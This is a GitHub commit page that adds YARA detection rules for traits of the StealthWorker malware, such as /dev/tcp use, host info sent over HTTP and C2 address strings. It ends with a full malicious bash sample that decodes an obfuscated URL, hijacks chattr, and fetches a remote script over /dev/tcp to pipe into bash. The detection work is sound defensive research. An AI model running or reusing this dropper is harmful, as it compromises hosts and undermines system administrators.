-
Notifications
You must be signed in to change notification settings - Fork 38
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Improve rules from Stealthworker inspection
- Loading branch information
1 parent
982b8ec
commit a32b7f2
Showing
29 changed files
with
226 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
|
||
rule osascript_http_zipper : suspicious { | ||
meta: | ||
description = "runs AppleScript, makes HTTP requests, zips files" | ||
strings: | ||
$ref = "osascript" fullword | ||
$readdir = "readdir" fullword | ||
$socket = "socket" fullword | ||
$http = "HTTP" fullword | ||
$zip = "zip_writer" | ||
condition: | ||
all of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
|
||
rule mysql : notable { | ||
meta: | ||
description = "accesses MySQL databases" | ||
strings: | ||
$ref = "mysql" fullword | ||
condition: | ||
$ref | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
|
||
rule postgresql : notable { | ||
meta: | ||
description = "accesses PostgreSQL databases" | ||
strings: | ||
$ref = "postgresql" fullword | ||
$ref2 = "github.com/go-pg" fullword | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
rule sqlite : notable { | ||
meta: | ||
description = "accesses SQLite databases" | ||
strings: | ||
$ref = "sqlite" fullword | ||
$ref3 = "sqlite3" fullword | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
|
||
rule bash_tcp : suspicious { | ||
meta: | ||
description = "sends data via /dev/tcp (bash)" | ||
strings: | ||
$ref = /[\w \-\<]{0,32}>"{0,1}\/dev\/tcp\/[\$\{\/\:\-\w\"]{0,32}/ | ||
condition: | ||
$ref | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
rule content_length_0 : suspicious { | ||
meta: | ||
description = "Sets HTTP content length to zero" | ||
strings: | ||
$ref = "Content-Length: 0" | ||
condition: | ||
$ref | ||
} | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
|
||
rule sysinfo_http : suspicious { | ||
meta: | ||
description = "sends host information via HTTP GET variables" | ||
strings: | ||
$ref = "&hostname=" | ||
$ref2 = "&uname=" | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
rule stealthworker : critical { | ||
meta: | ||
description = "StealthWorker Worm/Trojan" | ||
strings: | ||
$ref = "StealthWorker/Worker" | ||
condition: | ||
all of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
rule ftp { | ||
meta: | ||
description = "File Transfer Protocol (FTP)" | ||
strings: | ||
$ref = "ftp.Dial" fullword | ||
$ref2 = "EPSV" fullword | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
rule http_auth { | ||
meta: | ||
description = "makes HTTP requests with basic authentication" | ||
strings: | ||
$ref = "Www-Authenticate" | ||
$ref2 = "WWW-Authenticate" | ||
$ref3 = "www-authenticate" | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,8 +1,10 @@ | ||
rule requests_urls : notable { | ||
meta: | ||
description = "Makes network requests using a URL" | ||
description = "requests resources via URL" | ||
strings: | ||
$ref = "NSMutableURLRequest" | ||
$ref2 = "import requests" | ||
$ref3 = "net/url" | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
|
||
rule detach : suspicious { | ||
meta: | ||
description = "process detaches and daemonizes" | ||
strings: | ||
$ref = "xdaemon" | ||
$ref2 = "go-daemon" | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
rule decryptor : notable { | ||
meta: | ||
description = "References 'decryptor'" | ||
strings: | ||
$ref = "decryptor" | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
rule decryptor : notable { | ||
meta: | ||
description = "References 'dropper'" | ||
strings: | ||
$ref = "dropper" fullword | ||
$ref2 = "Dropper" fullword | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
rule lockedFiles : suspicious { | ||
meta: | ||
description = "References 'locked files'" | ||
strings: | ||
$ref = "lockedFiles" | ||
$ref2 = "lockedFileNames" | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
rule server_address : suspicious { | ||
meta: | ||
description = "references a 'server address', possible C2 client" | ||
strings: | ||
$underscores = /\w{0,32}server_addr\w{0,32}/ | ||
$mixed = /\w{0,32}serverAddr\w{0,32}/ | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
rule htpasswd : notable { | ||
meta: | ||
description = "Access .htpasswd files" | ||
strings: | ||
$ref = ".htpasswd" | ||
$ref2 = "Htpasswd" | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
#!/bin/bash | ||
#variables | ||
lspath=$(which ls) | ||
domain=$(echo Yi45LTktOC5jb20K|base64 -d) | ||
mainurl=$(echo aHR0cDovL2IuOS05LTguY29tL2JyeXNqCg==|base64 -d) | ||
#mv command | ||
|
||
if [ -x /bin/chattr ];then | ||
mv /bin/chattr /bin/zzhcht | ||
elif [ -x /usr/bin/chattr ];then | ||
mv /usr/bin/chattr /usr/bin/zzhcht | ||
elif [ -x /usr/bin/zzhcht ];then | ||
export CHATTR=/usr/bin/zzhcht | ||
elif [ -x /bin/zzhcht ];then | ||
export CHATTR=/bin/zzhcht | ||
else | ||
if [ $(command -v yum) ];then | ||
yum -y reinstall e2fsprogs | ||
if [ -x /bin/chattr ];then | ||
mv /bin/chattr /bin/zzhcht | ||
elif [ -x /usr/bin/chattr ];then | ||
mv /usr/bin/chattr /usr/bin/zzhcht | ||
fi | ||
else | ||
apt-get -y reinstall e2fsprogs | ||
if [ -x /bin/chattr ];then | ||
mv /bin/chattr /bin/zzhcht | ||
elif [ -x /usr/bin/chattr ];then | ||
mv /usr/bin/chattr /usr/bin/zzhcht | ||
fi | ||
fi | ||
fi | ||
if [ -x /bin/zzhcht ];then | ||
export CHATTR=/bin/zzhcht && cp $lspath /bin/chattr && /bin/zzhcht +ia /bin/chattr | ||
elif [ -x /usr/bin/zzhcht ];then | ||
export CHATTR=/usr/bin/zzhcht && cp $lspath /usr/bin/chattr && /usr/bin/zzhcht +ia /usr/bin/chattr | ||
else | ||
export CHATTR=chattr | ||
fi | ||
|
||
|
||
vurl() { | ||
IFS=/ read -r proto x host query <<<"$1" | ||
exec 3<>"/dev/tcp/${host}/${PORT:-80}" | ||
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3 | ||
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3 | ||
exec 3>&- | ||
} | ||
|
||
if [ "$(id -u)" = "0" ];then | ||
vurl ${mainurl}/d/ar.sh |bash | ||
else | ||
vurl ${mainurl}/d/ai.sh |bash | ||
fi |